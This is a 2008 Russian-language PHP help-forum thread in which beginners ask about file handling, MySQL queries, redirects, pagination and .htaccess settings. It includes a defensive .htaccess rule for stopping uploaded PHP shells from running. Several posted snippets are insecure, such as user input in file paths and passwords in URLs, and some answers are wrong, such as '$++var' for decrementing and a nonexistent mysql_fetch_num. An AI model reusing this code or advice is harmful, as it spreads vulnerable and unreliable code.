echo'Всего номерков: ['.sizeof(file('file.txt')).']';


182. AksinVin (22.02.08 / 16:04)
О, спс, все пашет

183. AksinVin (23.02.08 / 01:01)
Где допущена ошибка?
$sql1 = 'CREATE DATABASE Aksin DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci';

184. Azzido (23.02.08 / 01:17)
#199, еслиты на на h2m.Ru то удаляй бсе после Аksin до кавычки

185. Удаленный (23.02.08 / 06:48)
У меня вопрос: вот у меня есть папка music в ней 20 файлов , надо сделать так чтобы 5 файлов из них самые последние по добавлению в деректории показывались на главной и под выведением файлами были количество страниц 1,2,3,4... и когда переходишь по ним изменялись только файлы а страница главная не загружалась заново. Какой код вставить на страницу главной?

186. Удаленный (23.02.08 / 12:05)
Короч вопрос такой:
Предположим есть очень простенькая гостевая на файлах без регистрации, есть форма ввода для сообщения, написав добавляется... НОВвот что меня интересует, создав форму ввода на другом сайте и прописав полный путь для добавления сообщения они добавляются. Вопрос ! как сделать так чтоб сообщения добавлялись ТОЛЬКО оттуда, откуда положено!

187. w1NNt (23.02.08 / 13:27)
#202 хз эффективно ли это будет но попробуй отслеживать рафферер.

188. Удаленный (23.02.08 / 13:46)
Конечно это чем-то, но поможет, но реф подделать не сложно...

189. Mackler (23.02.08 / 19:01)
204: так вот и сделай так, чтобы сообщения добавлялись только от тех, у кого рефер с твоего сайта ).gif а там пусть чё хатят в рефере делают ГГ

190. Mackler (23.02.08 / 19:02)
204: а вообще лучше замути систему антифлуда, эт более полезно будет!

191. myz-tv (25.02.08 / 11:36)
файл считется измененым есле в файл чтото записали? filemtime(); или какая там функция это узнает?

192. myz-tv (25.02.08 / 11:43)
файл считется измененым есле в файл чтото записали? filemtime(); или какая там функция это узнает?

193. Azzido (25.02.08 / 14:43)
#208, эта функция выясняет дату создания/изменения файла, можно еще размер проверять

194. Mackler (25.02.08 / 15:03)
209: filemtime именно дату последнего изменения, а вот filectime дату создания или последнего изменения ).gif

195. AksinVin (25.02.08 / 17:42)
Подскажите как сделать защиту от повторений сообщения при нажатии F5 в опере плиз ).gif

196. myz-tv (25.02.08 / 22:21)
212 .
<? if($msg==strstr($msg,$f)){ echo 'сообщение ужэ добавленно';} ?>
$f ото открытый файл

197. myz-tv (25.02.08 / 22:22)
212 .
<? if($msg==strstr($msg,$f)){ echo 'сообщение ужэ добавленно';} ?>
$f ото открытый файл

198. Удаленный (27.02.08 / 10:26)
При выполнениии строки -> $arr=file('ssilky.txt');
В файле ssilky.txt - есть несколько переменных, которые, как известно не будут обработанны.
Финиш: как заставить интерпритатор выполнить код в том файле? (мож какая другая функция есть?)

199. Mackler (27.02.08 / 10:34)
хм... чтоб исполнить код из файла ssilky.txt, то просто сделай инклюд этой страницы в нужную... иль я чё не допонял?

200. Удаленный (27.02.08 / 21:21)
215, нее, то что ты предложил - глупость. Я сам поднатужился и применил функцию $arr=str_replace('J',''.$javaALL.'',$arr);

201. Mackler (27.02.08 / 21:23)
216: хм... скорее всего ты умный тада...
ноу коментс...

202. gorman (28.02.08 / 18:43)
Что нужно здесь написать чтобы данные извлекались из двух таблиц
$result=mysql_query("SELECT DISTINCT uid,count,host,in,out FROM weeks WHERE host > 0 and date=$today ORDER BY host DESC LIMIT $start,$end");


203. Azzido (28.02.08 / 20:48)
#218, по-моему там что то с JOIN() связаное, редко описание такого встретишь в популярных учебниках..

204. Удаленный (29.02.08 / 19:27)
Народ,подскажите пожалуйста,вот у меня загрузцентр с видео,,,можно тудЫ чёнить вписать,чтоб он разрешение экрана видеороликов показывал?

205. Azzido (29.02.08 / 19:40)
#220, почитай тему в этом разделе "куски кода на php", там про модуль ffmpeg написано

206. WaB-STER (01.03.08 / 10:48)
А как через аштиатцесс разрешить выполнение скрипта только 5секунд?

207. Azzido (01.03.08 / 15:13)
#222, php_value max_execution_time 5

208. Удаленный (02.03.08 / 21:36)
Как получить список файлов в папках и подпапках неизвесной вложенасти?

209. Удаленный (06.03.08 / 11:53)
Люди ну помогите, 4 дня уже жду. Ну неужели не кто не знает?

210. Удаленный (09.03.08 / 23:48)
Обьясните мне каким макаром мне вставить таблицу с моего хоста в базу данных?

211. REDS (10.03.08 / 22:10)
#226 через phpMyAdmin вроде можно импортировать.

212. Удаленный (11.03.08 / 19:09)
такой вот вопрос: как вместе с например этим-
require_once"index.php";
послать переменную? Чето типа-
require_once"index.php?а=$а";
возможно такое? Подскажите,
с меня +

213. Удаленный (11.03.08 / 20:47)
блин, тупанул.. ).gif извиняюсь! ).gif

214. Удаленный (12.03.08 / 21:55)
Подскажите где найти эту функцию в моторе?
$log = check($log);
$par = check($par);
чёто не фурычит(( только так $log=$_GET['log'];
$par=$_GET['par'];
или так $log=stripslashes(htmlspecialchars($_POST['log']));
$par=stripslashes (htmlspecialchars($_POST['par']));
или скажите как сделать чтоб вместе post и get было?

215. Azzido (13.03.08 / 16:34)
check(); там вроде пользовательская функция,составленая из htmlspecialchars(); и еще каких то, поищи в functions.php

216. OlegLom (13.03.08 / 20:09)
Шо надо прописать в нём чтоб переходило так papka/, а то переходит только так papka/idex.php ?

217. OlegLom (13.03.08 / 20:10)
... в .htaccess я имею ввиду

218. Azzido (13.03.08 / 21:03)
DirectoryIndex index.php

219. Удаленный (13.03.08 / 21:24)
231# да я сразу там и посмотрел! там нет этой функции(.gif((

220. Azzido (13.03.08 / 22:23)
#235, плохо ищешь. Сейчас специально посмотрел и она именно там и есть. Ищи "function check($message){....."

221. Удаленный (14.03.08 / 17:04)
Хм, проглядел значит...

222. KIRIK (16.03.08 / 22:04)
Как сделать так, чтоб в анкете была сылка рег. фирму, а когда зарегистрирывал фирму в анкете было написанно управление фирмой? для мотора 16.1

223. Удаленный (18.03.08 / 22:30)
Люди, как определить полный путь странице, например я нахожусь на http://visavi.net/forum/index.php, и что бы этот путь был в переменной!

224. Azzido (19.03.08 / 04:50)
#239, Переменные:
$_SERVER['PHP_SELF'];
$_SERVER['SCRIPT_NAME'];
$_SERVER['SCRIPT_FILENAME']; //эта переменна я от /hоme/user/.../1.php

225. WaB-STER (19.03.08 / 07:23)
А как выбрать произвольную строчку из таблицы 'mdw' к примеру ?

226. Azzido (19.03.08 / 11:38)
#241, http://visavi.net/forum/index.php?fid=3&id=120525496943&page=30 пост #40

227. Удаленный (21.03.08 / 23:49)
Вот, кому надо было:
<?php $fname='/path-to-file/big-big- big.mpg'; $fhost='www.super- mega.ru'; $x=0 ; $fp = fsockopen($fhost, 80 , &$errno, &$errstr, 30) or die("облом"); fputs($fp,"HEAD $fname HTTP/1.0 \nHOST: $fhost\n\n"); while(!feof($fp)) $x.=fgets($fp,128); fclose($fp); if (ereg("Content-Length: ([0-9 ]+ )",$x,$size)) echo "Размер файла $size[1] байт"; else echo "Определить невозможно"; ?>

228. srg (23.03.08 / 22:30)
люди подскажите что это за скрипт Openads

229. KIRIK (24.03.08 / 17:53)
Почему когда я редактирую какой либо скрипт он не работает, я смотрел на валидаторе он выдаёт ошибку даже когда пробел(всё правильно написанно а в строке один пробел и он этот пробел называет ошибкой) непонятно.

230. Удаленный (24.03.08 / 21:34)
245,ссылку то светани для приличия ..

231. KIRIK (24.03.08 / 23:43)
Boтa: http://kirik.h2m.ru/anketa.php

232. KIRIK (24.03.08 / 23:45)
Тоесть вота: http://kirik.h2m.ru/anketa.zip

233. Удаленный (25.03.08 / 00:40)
.... и чё мне с этой страницей делать то ... ? я имел ввиду ссылку на установленный скрипт с проблемной страницей ... но по симптомам и так ясно ... если редактируеш на хосте,то на нём выставлена кривая кодировка,если в редакторе,то тоже самое ))

234. KIRIK (25.03.08 / 01:08)
Я страницу на хост залил родную, а переделаная в зип архиве! а первую сылку модераторы прозьба удалить!

235. KIRIK (25.03.08 / 01:09)
Я редактирую оперой-мини!

236. Удаленный (25.03.08 / 01:24)
o_O зря ... купи компутер )

237. Sanek-4eL (25.03.08 / 06:34)
Чуваки,п0дскажите каг сделадь разбивку страниц?

238. Sanek-4eL (25.03.08 / 06:46)
Вот код,туд тока выводица тип переход "назад" и "вперед",а также вывод страницы,на которой находишься в данный м0мент,а мну над вывод и других страниц:
<<назад I вперед>>
1,2,3,[4],5....152
вод код:
if($page == 1){echo "<a href=\"wapt.php?page=2&w_t=$w&h_t=$h&q=$q&pp=$pp&kol_vo=$kol_vo\">След.&#187;</a><br/>";}вЁelse if($page==(ceil($str))){$page=(ceil($str)-1);echo "<a href=\"wapt.php?page=$page&w_t=$w&h_t=$h&q=$q&pp=$pp&kol_vo=$kol_vo\">&#171;Пред.</a><br/>";}вЁelse {$back=$page-1;$forw=$page+1;echo "<a href=\"wapt.php?page=$back&w_t=$w&h_t=$h&q=$q&pp=$pp&kol_vo=$kol_vo\">&#171;Пред.</a>";echo '['.$page.']';вЁecho "<a href=\"wapt.php?page=$forw&w_t=$w&h_t=$h&q=$q&pp=$pp&kol_vo=$kol_vo\">След.&#187;</a><br/>";}

239. Sanek-4eL (25.03.08 / 06:47)
Падскажите чо добавидь надо фкод=)

240. OlegLom (25.03.08 / 19:28)
Народ, вопросег по mysql. )) Как в заданом столбце, записать в масив его строки? Перечитал кучу мануалов ни фига не могу понять. Если чё с меня плюс.

241. Azzido (25.03.08 / 20:39)
#256,$query=mysql_query('SELECT user FROM table');
mysql_result($query,0); mysql_result($query,1); mysql_result($query,2);

242. Удаленный (26.03.08 / 08:47)
#243 как говорится лудше позна чем никогда =) спасибо.

243. DfoX (26.03.08 / 09:09)
[РЕД][БИГ]Вопрос[/РЕД][/БИГ]: Что делает етот код? [ГРЕЕН]иф(ереги(&qуот;[^а-з0-9_-]&qуот;,$_ГЕТ[ьфь]) ИИ ереги(&qуот;[^а-з0-9_-]&qуот;,$_ГЕТ[ьпь])){хеадер (&qуот;Лоцатион: индеx.пхп?еррор&амп;&qуот;.СИД); еxит;}[/ГРЕЕН]

244. DfoX (26.03.08 / 09:10)
if(eregi("[^a-z0-9_-]",$_GET['f']) II eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}

245. Azzido (26.03.08 / 09:45)
#260, Если в переменной $_GET['f'] или $_GET['p'] обнаруживаются символы маленьких англ букв,цифр,знака тире и подчеркивания то пересылаем на страницу ошибки и тормозим скрипт

246. Azzido (26.03.08 / 09:46)
Точней какие то символы не из этого списка

247. Azzido (26.03.08 / 09:47)
#260, Если в переменной $_GET['f'] или $_GET['p'] обнаруживаются символы маленьких англ букв,цифр,знака тире и подчеркивания то пересылаем на страницу ошибки и тормозим скрипт

248. Azzido (26.03.08 / 09:49)
#256, $massiv=mysql_fetch_num(mysql_query('SELECT user FROM table'));

249. DfoX (26.03.08 / 09:56)
Спасибо.

250. DfoX (26.03.08 / 10:37)
Esi $f ne naznachen to $f=0?

251. DfoX (26.03.08 / 10:38)
Еси &амп;ф не назначен то &амп;ф=0 ?

252. FANTOM (29.03.08 / 15:13)
kak kodirovat v base64? Toest $a=razdel $b=base64_encode($a);
i v ssilke esli napisat http:// site.ru/?kat=$a ne perexodit na site.ru/?kat=razdel ,ili esli eto ne pravilno vobshe kak realizovat?

253. SeeNoos (02.04.08 / 12:06)
Где взять библиотеки ffempeg_move и mp3_id ? ffempeg_move вообще в поисках не нашел,а mp3_id работает нестабильно: то есть некоторые mp3 не правильно читает битрейт,длительность и тд

254. Azzido (03.04.08 / 00:39)
http://ffmpeg.sourceforge.net

255. Удаленный (06.04.08 / 20:29)
народ нужна помощь я нуб в php как его установить на камп?
и апачь тоже незнаю как, если кто может помогите, ответ здесь а лучше в асе 411628304

256. WriteR (06.04.08 / 20:42)
271,зайди на этот сайт denwer.ru и скачай себе денвер.

257. DfoX (07.04.08 / 01:19)
Как проверить сусчествование фаила?

258. megabit (07.04.08 / 10:35)
if(file_exists("fail.txt")){
echo "Такой файл есть";
}else{
echo "Такого файла нет";
}

259. Удаленный (07.04.08 / 12:50)
подскажите хороший понятный, офлайновый, учебник по php5 и mySQL5, а лучше все вместе, и еще есть такой учебник о денвере, ну что бы рассказывалось как в нем писать скрипты? очень нужно

260. ShadoW (07.04.08 / 15:04)
а лучшее XAMPP!

261. Удаленный (07.04.08 / 17:18)
как на денвер установить, двиг мотора17.3 а то у меня не получается

262. Удаленный (07.04.08 / 20:05)
и еще есть вопрос, как создать базу даных на денвере у меня не получается

263. Azzido (08.04.08 / 05:10)
#278, ты такие вопросы задаешь,все равно что я спрошу как изобрести сотовый телефон? Сиди разбирайся,читай,в поисковиках ищи, а не задавай таких вопросов "как,как"

264. Masta (08.04.08 / 05:34)
Я бы топсервер лучше юзал.

265. megabit (08.04.08 / 05:41)
Меня вот это смутило пост#275: и еще есть такой учебник о денвере, ну что бы рассказывалось как в нем писать скрипты.

266. Kostian (08.04.08 / 09:16)
#281, PHP5 Д.Котеров, в нём про денвер написано

267. Masta (08.04.08 / 10:16)
282,много весит книга?

268. Kostian (08.04.08 / 13:20)
283, у меня на компе в djvu формате 13 метров

269. Masta (08.04.08 / 16:25)
Да,мои траф это непотянет.

270. DfoX (08.04.08 / 20:56)
В чём ошибка?
<?php
$config_themes="standard";
include_once"themes/$config_themes/head.php";
//Проверка авторизации
if(!isset($pass)) {$pass=0; $log="Guest";}
$text = "file(local/user/$log.prof)";
if ($text!=""){
$udata = explode(":II:",$text[0]);}
if($pass===$udata[1]) {$auth="1";
}else{ $auth=0;}
if($auth===1){$dostup=$udata[2];
}else{ $dostup="1";}
if($auth===0){$udata[0]="Guest"; $pass=0;}
//Проверка авторизации закончина
echo "<p align=center>";
echo"Привет <b>$udata[0]</b> !<br>";
echo"<p align=left>";
if($dostup>1) {echo "<a href=pages/menu.php?log=$log&pass=$pass>Моё меню</a><br>";
}else{
echo "<a href=pages/autorization.php>Авторизация</a><br>";
echo "<a href=pages/registration.php>Регистрация</a><br>";}
include_once"themes/$config_themes/foot.php";

?>

Выдаёт:Notice: Undefined offset: 1 in /usr/home/dfox/htdocs/index.php on line 11
Привет Guest !
Авторизация
Регистрация

271. DfoX (08.04.08 / 21:00)
Тут пустые строки убрало, линия 9. Вобще я первый раз пишу. Может там всё неправельно? ).gif

272. OlegLom (09.04.08 / 08:29)
Или в 10 или в 11 строке у тебя какаято ошибка. Посмотри повнимательней.

273. ZooM (09.04.08 / 10:56)
попробуй вместо === поставить ==

274. megabit (09.04.08 / 11:49)
я вобще вижу впервые чтоб писали аж три равно,

275. Masta (09.04.08 / 15:13)
Гы,а я раньше одно писал,потом дошло.

276. SeeNoos (09.04.08 / 15:14)
Че-то мне эта строчка не нравится

$text = "file(local/user/$log.prof)";

Может кавычку не там поставил,ведь потом используешь операторы для элементов массива?

277. SeeNoos (09.04.08 / 15:15)
=== используется,когда кроме значений переменной нужно сравнивать и ее тип

278. Kostian (09.04.08 / 16:25)
SeeNoos,
$text = file("local/user/$log.prof");


279. SeeNoos (09.04.08 / 17:16)
ЭксцентриГ,я-то знаю.А ты зря сказал.Пусть сами немного думают.А то неправильно пишут,а потом спрашивают

280. DfoX (09.04.08 / 22:46)
А я понял, блин я такой бред понаписал в других фаилах. А спросил потаму-что не опытен.

281. Удаленный (19.04.08 / 00:45)
на каком редакторе лучше всего писать на php?
ну и удобней...

282. Kostian (19.04.08 / 00:49)
297, мне PHP EXPERT EDITOR больше всех нравится

283. Flowthgin (19.04.08 / 18:03)
особенно версия 4.2 с утф 8 и отладчиком php кода в комплекте ).gif

284. SKAZ0CHN1k (19.04.08 / 19:19)
Я всю жизнь свою на тигер пад писал и если были ошибки смотрел их phpexperteditor ом)

285. bleid-info (21.04.08 / 08:17)
дайте код для определения телефона.

286. Azzido (21.04.08 / 09:50)
$_SERVER['HTTP_USER_AGENT']

287. Mega-Club (21.04.08 / 09:54)
как в в пыхе сделать смену цсс?

288. bleid-info (21.04.08 / 10:19)
#302 спасибо +

289. Azzido (21.04.08 / 17:57)
#303, если ты про рэндомную смену то:
<?php
$css=array('style1.css','style2.css','style3.css');
$allcss=sizeof($css);
$i=ran d(0,$allcss);
echo'<link rel . . . href="'.$css[$i-1].'"/>';
?>


290. Удаленный (25.04.08 / 18:49)
Чё нада вписать в скрипт для автоматической переадресации на другой адрес?

291. megabit (25.04.08 / 18:55)

<?php
header("Location: http://google.ru");
?>


292. Удаленный (25.04.08 / 21:18)
Как сделать меняющуюся ссылку?

293. megabit (25.04.08 / 21:22)
mysql_query("SELECT * FROM urls ORDER BY RAND() DESC LIMIT 1");
а потом просто уже выводим нащу случайную ссылку

294. Удаленный (26.04.08 / 15:12)
A переход на сайт защитается ?

295. Удаленный (26.04.08 / 15:17)
A переход на сайт защитается ?

296. Gnom (26.04.08 / 16:14)
Подскажите как вывести сколько человек в форуме сколько в чате сколько в гостевой.

297. Azzido (26.04.08 / 17:22)
#312, чаще всего имеется текстовый файл,куда пишется сколько человек онлайн,тогда данные просто считать/проинклудить из него, если же его нет, то можно сделать подсчет и запись в такой файл,или же прямой подсчет из базы, но это надо видеть сам скрипт и структуру таблиц)

298. Gnom (26.04.08 / 18:19)
ааа... я новичок поэтому я мало что понял. можно пожалуйста по подробней. Плиз.

299. Azzido (26.04.08 / 22:19)
#314, Ну если ты ничего не знаешь о языке php то объяснять тебе это долго и муторно, и бесполезно,т.к. ничего не поймешь. Читай какой нибудь учебник, и со временем и сам поймешь как)

300. Gnom (26.04.08 / 23:24)
Помогите написать скрипт к загрузу что бы показывал сколько общий вес файлов в нем.

301. Titov (27.04.08 / 00:19)
316.
Код подсчёта общего веса файлов в директории с вложенными папками:

function size_dir($dir) {
$full_size=0;
$opdir=opendir($dir);
while ($a = readdir($opdir))
{ if ($a != "." && $a != ".." && !is_dir($dir .'/'.$a))
{$full_size=$full_size+filesize($dir .'/'.$a);}
elseif ($a != "." && $a != ".." && is_dir($dir .'/'.$a)) {$full_size=$full_size+size_dir($dir .'/'.$a);}
}
closedir ($opdir);
return $full_size;}
}

потом обращайся к этой функции как

$size=size_dir("директория");

P.S.
Я сам тока за комп сел и накалякал её за пару минут из кода выложенного выше!!!
/код скопирован с темы " Полезные куски кода на РНР"/

302. Gnom (27.04.08 / 10:12)
Можете пожалуйста написать как сделать вывод это го счетчика я что не до понимаю. И напишите полный код счетчика я что то вобще не дагоняю например для папки down/file

303. Удаленный (28.04.08 / 22:10)
A что нада вписать что б сначала был полный переход на страницу а потом на другой адрес

304. snake (28.04.08 / 22:34)
А возможно ли сделать так. Штобы переходя по ссылке например http://site.ru/fail.php
Кидало на другую ссылку. На ссыль партнёрки допустим...

305. w00rmik (28.04.08 / 23:16)
Подскажите пожалуйста: как можно изменить одну строку в текстовом файле, не перезаписывая весь файл. Если вообще такое возможно.

306. lix (28.04.08 / 23:38)
Как сделать так по средствам рнр чтобы сначала была одна картинка а при нажатии на ссылку страница перезагружалась и появлялась другая картинка. Это чтобы понятно было что я хочу. Типа если не нажата ссылка то одна картинка а если нажата то другая. Вот ).gif

307. lix (28.04.08 / 23:49)
Наподобие как сдесь в бандите сделано. Это нужно использовать же? if () { } else { } только что куда вписать чтобы работало?

308. Удаленный (29.04.08 / 00:34)
[code]
<?php
$rand=rand(1, 10);
print '<img src="images/".$rand.".gif" alt="image"/><br/>';
print '<a href="index.php?new=">Refresh</a><br/>';
?>

309. Удаленный (29.04.08 / 00:35)

<?php
$rand=rand(1, 10);
print '<img src="images/".$rand.".gif" alt="image"/><br/>';
print '<a href="index.php?new=">Refresh</a><br/>';
?>

Создаешь папку images и в ней картинки например гиф с названиями от 1 до 10 )))

310. lix (29.04.08 / 23:02)
Спасибо

311. magate (30.04.08 / 13:10)
У меня в текстовом файле dat.txt записана строка в таком виде:
ИмяIМыло@руIСообщение
Как сделать чтоб скрипт выводил на страницу эту инфу в таком формате:
Имя
Мыло@ру
Сообщение ?

312. Удаленный (30.04.08 / 13:50)
327.

$data = explode("I",$file[$i]);

Типа такого..

313. magate (30.04.08 / 14:46)
Ну, чё и всё?
Дальше что?

314. w00rmik (30.04.08 / 22:46)
Помогите мне. Или вопрос не поняли? Вроде понятно спросил.

315. w00rmik (30.04.08 / 22:49)
Да и еще вопрос. $var++ , есть ей обратная, чтобы уменьшала?

316. Gnom (30.04.08 / 23:17)
если мне не изменила памяньт то помоему $++var или что то такое

317. SKAZ0CHN1k (01.05.08 / 09:15)
$var--

318. SKAZ0CHN1k (01.05.08 / 09:16)
327.
$data = explode("I",$file[$i]);
echo $data[0].'<br/>';
echo $data[1].'<br/>';
echo $data[2].'<br/>';


319. SKAZ0CHN1k (01.05.08 / 09:18)
321. В файле, для того, чтобы обратиться к строке в середине, надо перебрать по очереди все идущие до неё. При обновлении - еще хуже. Для того, чтобы изменить строчку в строковом файле - надо переписать его ВЕСЬ!

320. SKAZ0CHN1k (01.05.08 / 09:22)
320. SNake.
В fail.php пишем что-нить типа:
header ("Location: $url");


321. w00rmik (01.05.08 / 20:56)
335. спс. А это сильно систему грузит, если допустим файл в 3 метра?

322. magate (01.05.08 / 23:28)
Почему у мну на Денвере не работает эта авторизация?
<?php 
$$Passwd = '123';
if(@!$$_POST["pass"]) {
echo '<form
action="'.$$_SERVER[
"PHP_SELF"].'"
method="POST">
<input type="password"
name="pass" /> <br />
<input type="submit"
value="Go">
</form>';
}
elseif(@$$_POST["pas
s"]) {
$$pass =
trim($$_POST["pass"]);
if($$pass != $$Passwd)
{
echo 'Пароль не
верный!';
exit();
} else {
echo 'Пароль
подходит!';
} } ?>


323. Удаленный (03.05.08 / 08:34)
Скажите пожалуйста это это обозначает?

substr($HTTP_POST_VARS["new"],0,1000);


324. w00rmik (03.05.08 / 09:11)
Возвращается строка длинной 1000 символов, начиная с нулевого символа

325. snake (03.05.08 / 09:24)
336, спасибо.

326. Удаленный (03.05.08 / 10:02)
Вот какая ошибка выходит когда добавляю этот код...
hello worldlinkinpark
Parse error: syntax error, unexpected '[' in /usr/home/inter-css/htdocs/my/down.php on line 9

327. w00rmik (03.05.08 / 18:25)
Напиши строчку, которая идет перед и после

328. Удаленный (03.05.08 / 19:06)
Почему не записывается в фаил news.dat?
я пишу такой код:
<?
error_reporting(E_ALL & ~E_NOTICE);
echo'<form action=?id=add method=post><textarea></textarea>
<input type=submit value=add></form>';
$name = substr($HTTP_POST_VARS["name"],0,32);
if($id == add);{echo"";
$open=fopen("news.dat","w");
fwrite($date,"$news");
fclose($open);
echo' !';
};
?>


329. megabit (03.05.08 / 19:11)
1. старайся не использовать в своих скриптах error_reporting(E_ALL & ~E_NOTICE);
2. лучше писать $_POST чем $HTTP_POST_VARS
3. это должно выглядеть так $HTTP_POST_VARS['name']
4. код ужасен (увидел что дальше).
5. дальше у тя все не правильно конструкция выглядит так if($chtoto == $uslovie){//Действие}else{//ошибка} но не как не так if($id == add);{echo"";
$open=fopen("news.dat","w");
fwrite($date,"$news");
fclose($open);
echo' !';
};

330. megabit (03.05.08 / 19:12)
короче переписый, садись 2, незачет!

331. megabit (03.05.08 / 19:12)
короче переписывай, садись 2, незачет!

332. Удаленный (03.05.08 / 19:32)
Вы меня не пугайте D.gif я только учусь и это мой первый пхп скрипт...

333. w00rmik (03.05.08 / 19:34)
fwrite($date,"$news");
откуда у тебя взялись эти переменные.
Вместо $date нужно указывать дескриптор файла. А $news это записываемая строка

334. megabit (03.05.08 / 19:35)
переписывай, переписывай не ленись, а то я чуть не упал когда увидел код, знаки ты умеещь ставить там где не надо

335. megabit (03.05.08 / 19:37)
реально пиши заново код, читай мануалы по работе с файлами и.т.п

336. Удаленный (03.05.08 / 19:37)
Подскажите пожалуйста правильный код записи в фаил!).gif

337. Удаленный (03.05.08 / 19:39)
Буду стараться исправить свой непонятный код... ).gif

338. megabit (03.05.08 / 19:40)
$file = fopen("file.txt", "a+");
fwrite($file, 'PHP рулит');
fclose($file);

339. megabit (03.05.08 / 19:44)
этот непонятный код надо удалить и забыть про него, все не правильно!

340. Удаленный (03.05.08 / 19:51)
МегабиТ,спасибо за то что помог разобраться и исправить мои ошибки ).gif + поставлю когда будет возможность!

341. megabit (03.05.08 / 19:53)
эээ нет ошибки я не исправлял , их тут гора еще и кучка, исправлять сам будешь

342. Удаленный (03.05.08 / 19:58)
Ну всмысле указал на ошибки

343. Удаленный (05.05.08 / 14:25)
Подскажите ,как сделать самоочистку текстового файла каждые 24 часа?

344. Удаленный (05.05.08 / 14:38)
Как сделать ету "Запомнить меня"!

345. megabit (05.05.08 / 14:39)
#359 с помощью разницы во времени, если превышает очищаем
#360 через cookie

346. Удаленный (05.05.08 / 14:43)
Непонятно.Я только начал начал учиться.Функцию то может я и напишу, но как сделать,чтоб она автоматом запускалась?

347. Azzido (05.05.08 / 21:13)
#362, используй Crontab =] Почитай первые две страницы в этой теме, там о нем.

348. Azzido (05.05.08 / 21:22)
Можно использовать еще такой скрипт
<?php
$fm=filectime('file.txt');//дата создания файла
if((time()-$fm)>86400){
$fp=fopen('file.txt','w');
fclose($fp);
}//если разница между текущим временем и датой создания то создаем новый файл
?>

но скрипт сам работать не станет, нужно чтоб что то его запустило(посетитель)

349. w00rmik (07.05.08 / 22:18)
Как можно удалить строку из файла? Только не очистить, а именно удалить?

350. lugaro (07.05.08 / 22:25)
http://php.su/articles/?cat=examples&page=004

351. w00rmik (07.05.08 / 22:45)
Спасибо. Только не уверен что это то что надо. Завтра с компа проверю

352. Удаленный (08.05.08 / 05:00)
Как сделать автоматическое добавление картинки перед ссылкой?
Например добавил в загрус центр файл и автоматически перед этим файлом появилась картинка (*Картинка.gif)

353. megabit (08.05.08 / 21:08)
а что тебе мешает добавить там например при выводе категорий или файлов вот это print'<img src="img.png">..........';

354. OlegLom (11.05.08 / 22:17)

$num = 5;
$page = $_GET['page'];
$result = mysql_query("SELECT count(*) from news");
$posts = mysql_fetch_row($result);
$total = intval(($posts - 1) / $num) + 1; //вот на эту строку денвер ругается
.....

Вот что пишет: Fatal error: Unsupported operand types in Z:\home\test4.ru\www\news\index.php on line 72
Не могу понять, где ошибка в той строке?

355. Удаленный (11.05.08 / 23:16)
По-моему у тебя здесь скобка не закрыта: $total = intval(($posts - 1) / $num)????? + 1; //вот на эту строку денвер ругается

356. Удаленный (11.05.08 / 23:17)
Хотя нет, сорри...

357. FANTOM (12.05.08 / 01:01)
Как отклучит вобше с помошиу хтаццес исполнениа пхп,йс скриптов?

358. Nefi (12.05.08 / 01:13)
#374
RemoveHandler .php .php5 .php4 .php3 .phtml .pl
AddType text/plain .php .php .htm .html .phtml .pl

359. FANTOM (12.05.08 / 01:27)
#375 мне ето нужен в папке обменника где загружаиутсиа фаили чтоб в случае загрузки шелла пхп атклучалос и твои написанни хтаццес прокатит?

360. FANTOM (12.05.08 / 01:28)
#375 лови +

361. Nefi (12.05.08 / 01:42)
#376 лучше вот так просто напиши
AddType text/plain .php .php5 .php4 .php3 .phtml .pl
а то че то Handler'ы не сбрасываются...

362. Удаленный (12.05.08 / 08:13)
Народ,подскажите пжлста.. У меня раздел со стихами в чате,но там не работает перенос строки.,это сложно исправить?

363. Azzido (12.05.08 / 10:28)
#379, наверно не очень)

364. Удаленный (12.05.08 / 10:37)
#371 Попробуй так:
$num = 5;  
$page = $_GET['page'];
$result = mysql_query("SELECT count(*) FROM news");
$posts = mysql_fetch_row($result);
$total = intval(($posts[0] - 1) / $num) + 1; //вот на эту строку денвер ругается

или так
$num = 5;  
$page = $_GET['page'];
$result = mysql_query("SELECT * FROM news");
$posts = mysql_num_rows($result);
$total = intval(($posts - 1) / $num) + 1; //вот на эту строку денвер ругается


365. Удаленный (12.05.08 / 18:17)
#380,подскажешь как?)

366. OlegLom (13.05.08 / 18:19)
def1, спасибо! Работает.

367. Удаленный (14.05.08 / 14:59)
Почему когда пишу так
$user=$_SERVER[HTTP_USER_AGENT];
без ковычек работает,а когда пишу так
$user=$_SERVER['HTTP_USER_AGENT'];
неработает?

368. wwww (15.05.08 / 15:42)
как в этой функции сделать так что бы она не считала некоторые файлы, например php
function count_files($dir){
$c=0;
$d=dir($dir);
while($str=$d->read()){
if($str{0}!='.'){
if(is_dir($dir.'/'.$str)) $c+=count_files($dir.'/'.$str);
else $c++;
};
}
$d->close();
return $c;
}
заранее спасибо

369. Azzido (15.05.08 / 16:31)
if($str{0}!='1') исправь на if(substr($str,-4)=='.php')

370. Azzido (15.05.08 / 16:34)
То есть наоборот не ==,а !=

371. Удаленный (15.05.08 / 18:55)
Как сделать типа так шоб я написал так $site="здесь сайт какойто"! И патом написал так "$site" и выводилась ссылка!?? Надеюсь поняли? ).gif

372. OlegLom (15.05.08 / 19:19)
388, ты хоть основы php и html знаешь?

<?
$site="название сайта";
$url="сылка на сайт";
echo "<a href=\"http://$url\">$site</a><br/>";
?>

[Отредактировано: OlegLom - 15.05.08/19:19]

373. wax (15.05.08 / 19:26)
Error: restricted access
Подскажите что за ошибка?

374. Azzido (15.05.08 / 19:33)
#390, Ошибка: ограниченный доступ

375. wax (15.05.08 / 19:34)
Спасибо.

376. VORON (16.05.08 / 12:00)
скачал форум от сасисы и не могу зарегаться почему?

377. Azzido (16.05.08 / 16:07)
#393, потому что берешься за установку скрипта не имея достаточных знаний

378. DfoX (17.05.08 / 16:59)
394, ну это же не значит что он не должен хотябы пытатса.

379. Azzido (17.05.08 / 17:08)
#395, вопрос был ПОЧЕМУ,я ответил почему

380. FANTOM (18.05.08 / 20:58)
есть 1 вопрос: есть папка/$nick/golos.dat в golos.dat где записиваетсиа ники которие дали голоси,и сделал так что виводилас ник(голос),но мне надо они сортировалис не по алфавиту а по голосу,тоест више била ник у которево болше голосов.тоест надо сортироват Вnum ///// p.s. $num=count(папка/$nick/golos.dat);

381. VORON (19.05.08 / 10:19)
Azzido я вообщето помощи просил а не бред всякий

382. Azzido (19.05.08 / 15:20)
#398, какой вопрос-такой ответ...

383. FANTOM (19.05.08 / 22:22)
Ну атветте...

384. Azzido (20.05.08 / 06:43)
